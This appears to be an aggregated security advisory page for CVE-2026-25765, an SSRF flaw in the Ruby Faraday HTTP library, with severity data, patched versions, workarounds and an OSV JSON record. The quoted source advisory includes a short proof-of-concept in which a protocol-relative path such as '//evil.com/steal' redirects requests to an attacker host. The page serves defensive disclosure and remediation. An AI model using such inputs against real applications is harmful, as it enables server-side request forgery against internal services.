CVE-2026-25765: Faraday Faraday Affected By SSRF Vulnerability

MODERATE
Advisory Identifier: GHSA-33mh-2634-fwr2
CVSS 5.8
CWE-918
Published
Advisory Summary

CVE-2026-25765 is a MODERATE (CVSS 5.8) faraday affected by ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Faraday libraries in the RubyGems ecosystem. The issue involves faraday affected by ssrf via protocol-relative url host override in build_exclusive_url. Remediation is available by upgrading affected packages to version 2.14.1, 1.10.5.

CVE-2026-25765 at a Glance

CVE Identifier CVE-2026-25765
GHSA Identifier GHSA-33mh-2634-fwr2
Severity MODERATE
CVSS v3.1 Base Score 5.8
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Faraday
Package Ecosystem RubyGems
Published Date
Last Updated

Security Impact

CVSS: 5.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-25765

To remediate this vulnerability, upgrade all affected Faraday dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

faraday fixed: 2.14.1
Upgrade faraday to 2.14.1
faraday fixed: 1.10.5
Upgrade faraday to 1.10.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for faraday

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-25765, inspect your project dependencies for Faraday:

inspect dependencies for faraday

Analyze the terminal output to locate any version of Faraday in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.14.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Faraday, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact Faraday's `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby's `URI#merge` to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references that override the base URL's host/authority component. This means that if any application passes user-controlled input to Faraday's `get()`, `post()`, `build_url()`, or other request methods, an attacker can supply a protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with `/`, so protocol-relative URLs bypass it entirely. **Example:** ```ruby conn = Faraday.new(url: 'https://api.internal.com') conn.get('//evil.com/steal') # Request is sent to https://evil.com/steal instead of api.internal.com ``` ### Patches Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected. ### Workarounds **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.** Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically: - Reject or strip input that starts with // followed by a non-/ character - Use an allowlist of permitted path prefixes - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday Example validation: ```ruby def safe_path(user_input) raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]}) user_input end ```

CVE-2026-25765 Affected Faraday Versions

2 component(s)
Fixed Versions:
2.14.11.10.5
Product / Package Ecosystem Affected Versions Fixed Version
faraday
RubyGems
≥ 2.0.0
< 2.14.1
2.14.1
faraday
RubyGems
≥ 1.0.0
< 1.10.5
1.10.5

References

Frequently Asked Questions

What is CVE-2026-25765?
CVE-2026-25765 is a security vulnerability in Faraday involving Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url under CWE-918: Server-Side Request Forgery (SSRF).
Which Faraday versions are affected?
Affected versions include releases prior to 2.14.1, 1.10.5 across affected packages: faraday.
What version fixes CVE-2026-25765?
Upgrading to 2.14.1, 1.10.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is faraday affected?
Yes, faraday is affected in releases prior to 2.14.1, 1.10.5. Upgrade your dependency to 2.14.1, 1.10.5 or later.
What is the CVSS score of CVE-2026-25765?
CVE-2026-25765 has a CVSS v3.1 base score of 5.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N.
What CWE is associated with CVE-2026-25765?
CVE-2026-25765 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check RubyGems dependencies for CVE-2026-25765?
Run the dependency tree command: 'inspect dependencies for faraday'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-33mh-2634-fwr2",
  "modified" : "2026-02-13T17:16:36Z",
  "published" : "2026-02-09T20:37:05Z",
  "aliases" : [ "CVE-2026-25765" ],
  "summary" : "Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url",
  "details" : "### Impact\n\n  Faraday's `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby's\n  `URI#merge` to combine the connection's base URL with a user-supplied path. Per RFC 3986,\n  protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references\n  that override the base URL's host/authority component.\n\n  This means that if any application passes user-controlled input to Faraday's `get()`,\n  `post()`, `build_url()`, or other request methods, an attacker can supply a\n  protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an\n  arbitrary host, enabling Server-Side Request Forgery (SSRF).\n\n  The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with\n  `/`, so protocol-relative URLs bypass it entirely.\n\n  **Example:**\n  ```ruby\n  conn = Faraday.new(url: 'https://api.internal.com')\n  conn.get('//evil.com/steal')\n  # Request is sent to https://evil.com/steal instead of api.internal.com\n  ```\n\n### Patches\n\n  Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.\n\n### Workarounds\n\n  **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**\n\n  Applications should validate and sanitize any user-controlled input before passing it to\n  Faraday request methods. Specifically:\n\n  - Reject or strip input that starts with // followed by a non-/ character\n  - Use an allowlist of permitted path prefixes\n  - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday\n\n  Example validation:\n  ```ruby\n  def safe_path(user_input)\n    raise ArgumentError, \"Invalid path\" if user_input.match?(%r{\\A//[^/]})\n    user_input\n  end\n  ```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "faraday"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.14.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.14.0"
    }
  }, {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "faraday"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.0"
      }, {
        "fixed" : "1.10.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.10.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25765"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lostisland/faraday/pull/1569"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lostisland/faraday"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lostisland/faraday/releases/tag/v1.10.5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lostisland/faraday/releases/tag/v2.14.1"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-25765.yml"
  }, {
    "type" : "WEB",
    "url" : "https://www.rfc-editor.org/rfc/rfc3986#section-5.2.2"
  }, {
    "type" : "WEB",
    "url" : "https://www.rfc-editor.org/rfc/rfc3986#section-5.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-09T20:37:05Z",
    "nvd_published_at" : "2026-02-09T21:15:49Z"
  }
}